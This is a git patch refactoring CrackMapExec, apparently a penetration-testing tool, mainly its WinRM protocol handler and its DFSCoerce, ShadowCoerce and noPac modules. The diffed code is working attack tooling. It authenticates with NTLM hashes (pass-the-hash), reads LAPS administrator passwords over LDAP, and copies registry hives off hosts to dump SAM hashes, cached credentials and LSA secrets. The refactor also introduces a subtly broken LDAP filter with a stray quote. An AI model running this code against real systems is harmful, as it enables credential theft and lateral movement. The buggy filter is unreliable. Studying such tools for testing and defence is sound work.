From 160efc6980df41f92c4e7915d885d7a0b1d022a8 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 9 Mar 2023 19:58:36 -0500 Subject: [PATCH] update formatting, some variable names, and other Pythonic things for winrm --- cme/modules/dfscoerce.py | 2 +- cme/modules/nopac.py | 8 +- cme/modules/shadowcoerce.py | 2 +- cme/protocols/winrm.py | 244 ++++++++++++++++++++++-------------- 4 files changed, 157 insertions(+), 99 deletions(-) diff --git a/cme/modules/dfscoerce.py b/cme/modules/dfscoerce.py index 0bc6dd1d..23bfff38 100644 --- a/cme/modules/dfscoerce.py +++ b/cme/modules/dfscoerce.py @@ -24,7 +24,7 @@ class CMEModule: def on_login(self, context, connection): trigger = TriggerAuth() - dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost) + dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lm_hash, nthash=connection.nt_hash, target=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost) if dce is not None: logging.debug("Target is vulnerable to DFSCoerce") diff --git a/cme/modules/nopac.py b/cme/modules/nopac.py index c5e309e8..061f834b 100644 --- a/cme/modules/nopac.py +++ b/cme/modules/nopac.py @@ -25,12 +25,12 @@ class CMEModule: userName = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt_with_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain, - unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey, - connection.host,requestPAC=True) + unhexlify(connection.lm_hash), unhexlify(connection.nt_hash), connection.aesKey, + connection.host, requestPAC=True) context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac))) tgt_no_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain, - unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey, - connection.host,requestPAC=False) + unhexlify(connection.lm_hash), unhexlify(connection.nt_hash), connection.aesKey, + connection.host, requestPAC=False) context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac))) if len(tgt_no_pac) < len(tgt_with_pac): context.log.highlight("") diff --git a/cme/modules/shadowcoerce.py b/cme/modules/shadowcoerce.py index f1ee4500..ef3dae24 100644 --- a/cme/modules/shadowcoerce.py +++ b/cme/modules/shadowcoerce.py @@ -41,7 +41,7 @@ class CMEModule: logging.debug("First try failed. Creating another dce connection...") # Sleeping mandatory for second try time.sleep(2) - dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe="FssagentRpc") + dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lm_hash, nthash=connection.nt_hash, target=connection.host, pipe="FssagentRpc") if self.ipsc: logging.debug("ipsc = %s", self.ipsc) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index d6637710..7eb8d3aa 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -1,34 +1,39 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- +import datetime +import os import requests -import logging -import configparser from impacket.smbconnection import SMBConnection, SessionError from cme.connection import * from cme.helpers.logger import highlight from cme.helpers.bloodhound import add_user_bh from cme.protocols.ldap.smbldap import LDAPConnect from cme.logger import CMEAdapter -from io import StringIO from pypsrp.client import Client -from impacket.examples.secretsdump import LocalOperations, LSASecrets +from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes # The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + class SuppressFilter(logging.Filter): # remove warning https://github.com/diyan/pywinrm/issues/269 def filter(self, record): return 'wsman' not in record.getMessage() -class winrm(connection): +class winrm(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.output_filename = None + self.endpoint = None + self.port = None + self.hash = None + self.lm_hash = None + self.nt_hash = None connection.__init__(self, args, db, host) @@ -70,10 +75,12 @@ class winrm(connection): self.call_cmd_args() def proto_logger(self): - self.logger = CMEAdapter(extra={'protocol': 'SMB', - 'host': self.host, - 'port': 'NONE', - 'hostname': 'NONE'}) + self.logger = CMEAdapter(extra={ + 'protocol': 'SMB', + 'host': self.host, + 'port': 'NONE', + 'hostname': 'NONE' + }) def enum_host_info(self): # smb no open, specify the domain @@ -111,16 +118,23 @@ class winrm(connection): self.output_filename = self.output_filename.replace(":", "-") def laps_search(self, username, password, ntlm_hash, domain): - ldapco = LDAPConnect(self.domain, "389", self.domain) - connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' ) - if connection == False: - logging.debug('LAPS connection failed with account {}'.format(username)) + ldap_conn = LDAPConnect(self.domain, "389", self.domain) + login = ldap_conn.plaintext_login( + domain, + username[0] if username else '', + password[0] if password else '', + ntlm_hash[0] if ntlm_hash else '' + ) + if not login: + logging.debug('LAPS login failed with account {}'.format(username)) return False - searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='+ self.hostname +'))' - attributes = ['ms-MCS-AdmPwd','samAccountname'] - result = connection.search(searchFilter=searchFilter, - attributes=attributes, - sizeLimit=0) + search_filter = f"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='{self.hostname}))" + attributes = ['ms-MCS-AdmPwd', 'samAccountname'] + result = login.search( + searchFilter=search_filter, + attributes=attributes, + sizeLimit=0 + ) msMCSAdmPwd = '' sAMAccountName = '' @@ -150,19 +164,15 @@ class winrm(connection): self.logger.info(self.endpoint) else: self.logger.extra['protocol'] = "SMB" - self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, - self.hostname, - self.domain)) + self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain)) self.logger.extra['protocol'] = "HTTP" self.logger.info(self.endpoint) self.logger.extra['protocol'] = "WINRM" if self.args.laps: return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True - def create_conn_obj(self): - endpoints = [ 'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986), 'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985) @@ -195,33 +205,43 @@ class winrm(connection): self.username = username self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: - self.conn = Client(self.host, - auth='ntlm', - username=u'{}\\{}'.format(domain, self.username), - password=self.password, - ssl=True, - cert_validation=False) + self.conn = Client( + self.host, + auth='ntlm', + username=u'{}\\{}'.format(domain, self.username), + password=self.password, + ssl=True, + cert_validation=False + ) elif self.args.ssl: - self.conn = Client(self.host, - auth='ntlm', - username=u'{}\\{}'.format(domain, self.username), - password=self.password, - ssl=True) + self.conn = Client( + self.host, + auth='ntlm', + username=u'{}\\{}'.format(domain, self.username), + password=self.password, + ssl=True + ) else: - self.conn = Client(self.host, - auth='ntlm', - username=u'{}\\{}'.format(domain, self.username), - password=self.password, - ssl=False) + self.conn = Client( + self.host, + auth='ntlm', + username=u'{}\\{}'.format(domain, self.username), + password=self.password, + ssl=False + ) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True - self.logger.success(u'{}\\{}:{} {}'.format(self.domain, - self.username, - self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, - highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) + self.logger.success( + u'{}\\{}:{} {}'.format( + self.domain, + self.username, + self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, + highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') + ) + ) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: @@ -229,14 +249,22 @@ class winrm(connection): except Exception as e: if "with ntlm" in str(e): - self.logger.error(u'{}\\{}:{}'.format(self.domain, - self.username, - self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8)) + self.logger.error( + u'{}\\{}:{}'.format( + self.domain, + self.username, + self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8 + ) + ) else: - self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, - self.username, - self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, - e)) + self.logger.error( + u'{}\\{}:{} "{}"'.format( + self.domain, + self.username, + self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, + e + ) + ) return False @@ -244,51 +272,63 @@ class winrm(connection): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) - lmhash = '00000000000000000000000000000000:' - nthash = '' + lm_hash = '00000000000000000000000000000000:' + nt_hash = '' if not self.args.laps: self.username = username - #This checks to see if we didn't provide the LM Hash + # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: - lmhash, nthash = ntlm_hash.split(':') + lm_hash, nt_hash = ntlm_hash.split(':') else: - nthash = ntlm_hash - ntlm_hash = lmhash + nthash - if lmhash: self.lmhash = lmhash - if nthash: self.nthash = nthash + nt_hash = ntlm_hash + ntlm_hash = lm_hash + nt_hash + if lm_hash: + self.lm_hash = lm_hash + if nt_hash: + self.nt_hash = nt_hash else: - nthash = self.hash + nt_hash = self.hash self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: - self.conn = Client(self.host, - auth='ntlm', - username=u'{}\\{}'.format(self.domain, self.username), - password=lmhash + nthash, - ssl=True, - cert_validation=False) + self.conn = Client( + self.host, + auth='ntlm', + username=u'{}\\{}'.format(self.domain, self.username), + password=lm_hash + nt_hash, + ssl=True, + cert_validation=False + ) elif self.args.ssl: - self.conn = Client(self.host, - auth='ntlm', - username=u'{}\\{}'.format(self.domain, self.username), - password=lmhash + nthash, - ssl=True) + self.conn = Client( + self.host, + auth='ntlm', + username=u'{}\\{}'.format(self.domain, self.username), + password=lm_hash + nt_hash, + ssl=True + ) else: - self.conn = Client(self.host, - auth='ntlm', - username=u'{}\\{}'.format(self.domain, self.username), - password=lmhash + nthash, - ssl=False) + self.conn = Client( + self.host, + auth='ntlm', + username=u'{}\\{}'.format(self.domain, self.username), + password=lm_hash + nt_hash, + ssl=False + ) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True - self.logger.success(u'{}\\{}:{} {}'.format(self.domain, - self.username, - nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, - highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) + self.logger.success( + u'{}\\{}:{} {}'.format( + self.domain, + self.username, + nt_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, + highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') + ) + ) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: @@ -296,15 +336,22 @@ class winrm(connection): except Exception as e: if "with ntlm" in str(e): - self.logger.error(u'{}\\{}:{}'.format(self.domain, - self.username, - nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8)) + self.logger.error( + u'{}\\{}:{}'.format( + self.domain, + self.username, + nt_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8 + ) + ) else: - self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, - self.username, - nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, - e)) - + self.logger.error( + u'{}\\{}:{} "{}"'.format( + self.domain, + self.username, + nt_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, + e + ) + ) return False def execute(self, payload=None, get_output=False): @@ -329,9 +376,14 @@ class winrm(connection): self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM") - localOperations = LocalOperations(self.output_filename + ".system") - bootKey = localOperations.getBootKey() - SAM = SAMHashes(self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret)) + local_operations = LocalOperations(self.output_filename + ".system") + boot_key = local_operations.getBootKey() + SAM = SAMHashes( + self.output_filename + ".sam", + boot_key, + isRemote=None, + perSecretCallback=lambda secret: self.logger.highlight(secret) + ) SAM.dump() SAM.export(self.output_filename + ".sam") @@ -341,8 +393,14 @@ class winrm(connection): self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY") - localOperations = LocalOperations(self.output_filename + ".system") - bootKey = localOperations.getBootKey() - LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self.logger.highlight(secret)) + local_operations = LocalOperations(self.output_filename + ".system") + boot_key = local_operations.getBootKey() + LSA = LSASecrets( + self.output_filename + ".security", + boot_key, + None, + isRemote=None, + perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret) + ) LSA.dumpCachedHashes() LSA.dumpSecrets()